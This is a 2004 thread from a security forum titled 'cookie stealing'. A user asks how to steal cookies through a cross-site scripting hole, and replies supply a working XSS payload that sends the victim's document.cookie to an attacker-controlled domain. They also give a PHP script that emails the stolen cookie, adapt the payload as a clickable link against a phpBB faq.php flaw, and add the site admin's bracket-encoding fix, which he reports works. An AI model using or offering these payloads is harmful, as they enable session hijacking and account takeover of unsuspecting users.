Waraxe IT Security Portal
Login or Register
November 21, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 56
Members: 0
Total: 56
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> cookie stealing
Post new topicReply to topic View previous topic :: View next topic
cookie stealing
PostPosted: Wed Jul 14, 2004 3:47 pm Reply with quote
migo79
Regular user
Regular user
Joined: May 18, 2004
Posts: 17




hello guys

can you waraxe give a tutorial on how send a cookie file to a form and then to be mailed to anyone

i mean by discovering a cross site scripting vuln in any script
how can i write the code to mail the cookie to me for example

any clue or other detailed tutorial is appreciated

best regards
migo
View user's profile Send private message
Re: cookie stealing
PostPosted: Wed Jul 14, 2004 3:57 pm Reply with quote
Heintz
Valuable expert
Valuable expert
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




ok. let's assume you got a hole in www.example.com/script.php?foo=bar

first you must send cookie to script, it goes something like this:
Code:

www.example.com/script.php?foo=<script>document.location= 'www.yourdomain.com/evilscript.php?cookie=' + window.document.cookie; </script>

in evilscript.php there should be something like this:
Code:

<?php

$cookie = $_GET['cookie'];
mail('youremail@example.com', 'You just stole a cookie', $cookie);

?>


nb! i may have mistakes in script(s) cause i wrote them on spot.
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Thu Jul 15, 2004 11:18 am Reply with quote
migo79
Regular user
Regular user
Joined: May 18, 2004
Posts: 17




that's a well clarified reply
thanks too much
View user's profile Send private message
PostPosted: Thu Jul 15, 2004 11:20 am Reply with quote
migo79
Regular user
Regular user
Joined: May 18, 2004
Posts: 17




and here is a well detailed tutorial too
you have to register for free to view it but it well worth

http://www.idefense.com/application/poi/researchreports/display?id=9
View user's profile Send private message
XSS
PostPosted: Sat Jul 17, 2004 4:48 pm Reply with quote
zerocool
Regular user
Regular user
Joined: Jul 17, 2004
Posts: 20




is there is anyone to send the cookies to my email without to open a

PHP HOMEPAGE witn PHP "EVI SCRIPT.php"

Because i dont know from where i cant open a personal free website that support PHP SCRIPTS
so if there is any easy ways please tell me
and if anyone know some homepage that i can build my free homepage that support php scripts please tell me

thanks
View user's profile Send private message
Re: XSS
PostPosted: Sat Jul 17, 2004 9:18 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




zerocool wrote:
is there is anyone to send the cookies to my email without to open a

PHP HOMEPAGE witn PHP "EVI SCRIPT.php"

Because i dont know from where i cant open a personal free website that support PHP SCRIPTS
so if there is any easy ways please tell me
and if anyone know some homepage that i can build my free homepage that support php scripts please tell me

thanks


Check Free web host

http://www.waraxe.us/forum/viewtopic.php?t=143
View user's profile Send private message Visit poster's website
Re: cookie stealing
PostPosted: Sun Sep 05, 2004 4:17 am Reply with quote
dotcomBOT
Regular user
Regular user
Joined: Jun 11, 2004
Posts: 12




Heintz wrote:
ok. let's assume you got a hole in www.example.com/script.php?foo=bar

first you must send cookie to script, it goes something like this:
Code:

www.example.com/script.php?foo=<script>document.location= 'www.yourdomain.com/evilscript.php?cookie=' + window.document.cookie; </script>

in evilscript.php there should be something like this:
Code:

<?php

$cookie = $_GET['cookie'];
mail('youremail@example.com', 'You just stole a cookie', $cookie);

?>


nb! i may have mistakes in script(s) cause i wrote them on spot.


i got a little prob

the hole i wanna use is :
Code:

faq.php?
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe


so my link should be
Code:

[url=www.target-site.com/forum/faq.php?faq[0][0]=f00<script>document.location= 'www.myOWNhost.com/evil.php?cookie=' + window.document.cookie; </script>bar&faq[0][1]=waraxe]Click Here[/url]


html has been disabled over the forum [ over most of the forums ]
so the links get broken when it reaches "]"

any solution?


Last edited by dotcomBOT on Tue Nov 02, 2004 9:58 am; edited 1 time in total

_________________
Bangladesh Calling Cards
View user's profile Send private message Visit poster's website
PostPosted: Mon Sep 06, 2004 8:47 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Use urlencoded values, so "[" will be "%5b" and "]" is "%5d".

Exploit will be then something like "faq.php?faq%5b0%5d%5b0%5d=".

I tested this method on my local computer's phpbb installation, and
it works 100%.
View user's profile Send private message Send e-mail Visit poster's website
cookie stealing
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.035 Seconds